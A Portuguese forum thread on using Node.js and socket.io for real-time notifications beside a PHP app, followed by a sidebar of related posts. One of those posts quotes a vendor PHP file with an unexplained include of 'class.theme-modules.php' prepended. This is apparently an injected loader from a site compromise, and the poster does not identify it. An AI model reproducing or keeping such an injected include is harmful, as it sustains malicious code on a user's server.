Ir para conteúdo
Wesley Santos

Node.js é a melhor solução ?

Recommended Posts

Seguinte, atualmente eu preciso montar um sistema de notificação, como por exemplo em uma intranet, um usuário fez uma ação eu preciso disparar uma notificação em tempo real. 

O projeto ja esta uns 80% feito com PHP, jQuery e CSS atualmente.

Apos varias pesquisa eu acho que o modulo socket.io do Node.js pode resolver minha atual situação. Masss, tenho algumas duvidas em relação ao mesmo que não consegui resolver lendo alguns artigos sobre o assunto, então caso alguém consegui tirar essas duvidas, que são elas:

 

- Eu li que o node.js roda ao lado do servidor, eu preciso instalar alguma coisa no servidor web para ele rodar?

- Tem problema usar jQuery e node.js juntos?

- O node.js consegue fazer o papel do jQuery?

- Oque exatamente é um socket? 

 

Eu já li alguns artigos e vi alguns videos que tirou muitas duvidas, mas essas são as que não ficaram clara para mim.

Compartilhar este post


Link para o post
Compartilhar em outros sites
Citar

- Eu preciso instalar alguma coisa no servidor web para ele rodar?

precisa instalar "ele mesmo" o NodeJS no servidor.

 

Citar

- Tem problema usar jQuery e node.js juntos?

não, nenhum problema.

 

Citar

- O node.js consegue fazer o papel do jQuery?

Não, NodeJS é server-side, faz o papel do PHP.

 

Citar

- Oque exatamente é um socket? 

pense em socket como uma ponte de conexão.

 

E sim, no teu caso para real time, o NodeJS é a melhor ferramenta.

  • +1 1

Compartilhar este post


Link para o post
Compartilhar em outros sites

@William Bruno , Tenho algumas outras duvidas, se puder me responder. 

 

1 - Eu posso usar PHP na minha aplicação inteira e em uma parte especifica utilizar o nodeJS para uma finalidade real-time?

2 - Sabe de algum conteúdo online para estudos? Achei alguns cursos online, porém alguns ficam no basicão e outros que tratam assuntos mais complexo eu sinto que não explica de forma esclarecedora. 

3 - A data deste curso http://ctnovatec.com.br/cursos/trilha-front-end/curso-de-nodejs/ , esta para breve, mas você sabe quando mais ou menos que vai ser lançado?

 

E para complementar eu vou comprar este livro https://novatec.com.br/livros/nodejs/ em breve para estudos. 

Compartilhar este post


Link para o post
Compartilhar em outros sites

1. Sim, mas tenha em mente que serão 2 aplicações diferentes e distintas.

2. Não, eu prefiro muito mais ler livros.

3. Terá este outro: http://ctnovatec.com.br/cursos/trilha-front-end/stack-mean/ que tem o mesmo conteúdo do de NodeJS + AngularJS (por isso 24h, em vez de 16h).

 

 

bacana, obrigado =)

  • +1 1

Compartilhar este post


Link para o post
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário

Criar uma conta

Crie uma nova conta em nossa comunidade. É fácil!

Crie uma nova conta

Entrar

Já tem uma conta? Faça o login.

Entrar Agora

  • Conteúdo Similar

    • Por Amanda Morales
      <!DOCTYPE html> <html lang="pt-br"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="description" content="curso de bootstrap 3"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet"> <title>3° site com bootstrap tabelas</title> <style> .table-striped > tbody > tr{ background-color:red; } .table-hover > tbody >tr:hover{ background-color:blue; color:white; } </style> </head> <body> <div class="container-fluid"> <h3 class="text-center">Tabelas</h3> </div> <div class="row"> <div class="col-md-6"> <table class="table table-striped table-condensed table-hover table-bordered"> <thead> <tr > <th>Protocolo</th> <th>Razão Social</th> <th>CNPJ</th> </tr> </thead> <tbody> <tr> <td>0001</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0001-00</td> </tr> <tr > <td>0002</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0002-00</td> </tr> <tr> <td>0003</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0003-00</td> </tr> <tr> <td>0004</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0004-00</td> </tr> </tbody> </table> </div> <div class="col-md-6"> <div class="table-responsive"> <table class="table"> <thead> <tr> <th>Protocolo</th> <th>Razão Social</th> <th>CNPJ</th> </tr> </thead> <tbody> <tr> <td class="success">0001</td> <!--linhas decoradas--> <td class="danger">Bootstrap essencial - ME</td> <td class="warning">00.000.000/0001-00</td> </tr> <tr class="success"> <td>0002</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0002-00</td> </tr> <tr class="warning"> <td>0003</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0003-00</td> </tr> <tr class="active"> <td>0005</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0005-00</td> </tr> <tr class="info"> <td>0004</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0004-00</td> </tr> </table> </div> <!--tabela responsiva--> </div> </div> <script src="https://code.jquery.com/jquery-2.1.3.min.js"></script> <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js"></script> </body> </html> acima site usando a versão antiga
      <!DOCTYPE html> <html lang="pt-br"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="description" content="curso de bootstrap 3"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css" integrity="sha384-9gVQ4dYFwwWSjIDZnLEWnxCjeSWFphJiwGPXr1jddIhOegiu1FwO5qRGvFXOdJZ4" crossorigin="anonymous"> <title>3° site com bootstrap tabelas</title> <style> .table-striped > tbody > tr{ background-color:red; } .table-hover > tbody >tr:hover{ background-color:blue; color:white; } </style> </head> <body> <div class="container-fluid"> <h3 class="text-center">Tabelas</h3> </div> <div class="row"> <div class="col-md-6"> <table class="table table-striped table-condensed table-hover table-bordered"> <thead> <tr > <th>Protocolo</th> <th>Razão Social</th> <th>CNPJ</th> </tr> </thead> <tbody> <tr> <td>0001</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0001-00</td> </tr> <tr > <td>0002</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0002-00</td> </tr> <tr> <td>0003</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0003-00</td> </tr> <tr> <td>0004</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0004-00</td> </tr> </tbody> </table> </div> <div class="col-md-6"> <div class="table-responsive"> <table class="table"> <thead> <tr> <th>Protocolo</th> <th>Razão Social</th> <th>CNPJ</th> </tr> </thead> <tbody> <tr> <td class="success">0001</td> <!--linhas decoradas--> <td class="danger">Bootstrap essencial - ME</td> <td class="warning">00.000.000/0001-00</td> </tr> <tr class="success"> <td>0002</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0002-00</td> </tr> <tr class="warning"> <td>0003</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0003-00</td> </tr> <tr class="active"> <td>0005</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0005-00</td> </tr> <tr class="info"> <td>0004</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0004-00</td> </tr> </table> </div> <!--tabela responsiva--> </div> </div> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.0/umd/popper.min.js" integrity="sha384-cs/chFZiN24E4KMATLdqdvsezGxaGsi4hLGOzlXwp5UZB1LY//20VyM2taTB4QvJ" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.min.js" integrity="sha384-uefMccjFJAIv6A+rW+L4AHf99KvxDjWSu1z9VI8SKNVmz4sk7buKt/6v9KI65qnm" crossorigin="anonymous"></script> </body> </html> o que denunciou a falha do framework foi a table-striped não ter funcionado e o estados nas linhas da tabela. 
       
       
       
    • Por wcarriello
      Qual o melhor (na sua opnião) framework JS para trabalhar com MPA (Multi Page Aplication) com dados vindos de uma API. E como vocês organizam e trabalham com isso?
       
      Escopo do projeto:
      - Portal de notícias e eventos com média de 15mil acessos dia.
      - API feita em Django (com autenticação via token)
      - Sistema de rotas
      - SEO
       
      Minha dúvida é porque atualmente trabalhamos com Flask ou Lumen para o gerenciamento de rotas e dados vindas da API. Usamos apenas jQuery quando precisamos e queremos mudar a nossa forma de trabalho.
    • Por aantunesl
      Por gentileza pessoal, acabo de instalar um sistema em minha hospedagem, mas esta apresentando este erro:

      Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in public_html/project/vendor/guzzlehttp/promises/src/functions.php on line 1
       
      <?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php namespace GuzzleHttp\Promise; function queue(TaskQueueInterface $assign = null) { static $queue; if ($assign) { $queue = $assign; } elseif (!$queue) { $queue = new TaskQueue(); } return $queue; }  

      Alguem sabe como resolver esta questão?
      Agradeço.
    • Por ndias
      Tenho uma aplicação web hospedada num Cloud Windows na locaweb rodando PHP 5.3 com banco de dados sql server.
       
      Eu programo no modo procedural. Gostaria de obter indicações de framework, uma vez que nunca utilizei e tenho pouca familiaridade com orientação a objetos.
    • Por Roberto Messa
      Fiz um framework e vou colocar como código aberto.   qual a melhor forma de fazer isto p q ele fique famoso rapido?   quais as recomendações para que o framework seja bem sucedido?   https://docs.google.com/presentation/d/1RW5CeBnO00WEJQqG3ybegCNJRo-Ng7Pgbb1_GkuejtM/edit?usp=sharing
×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.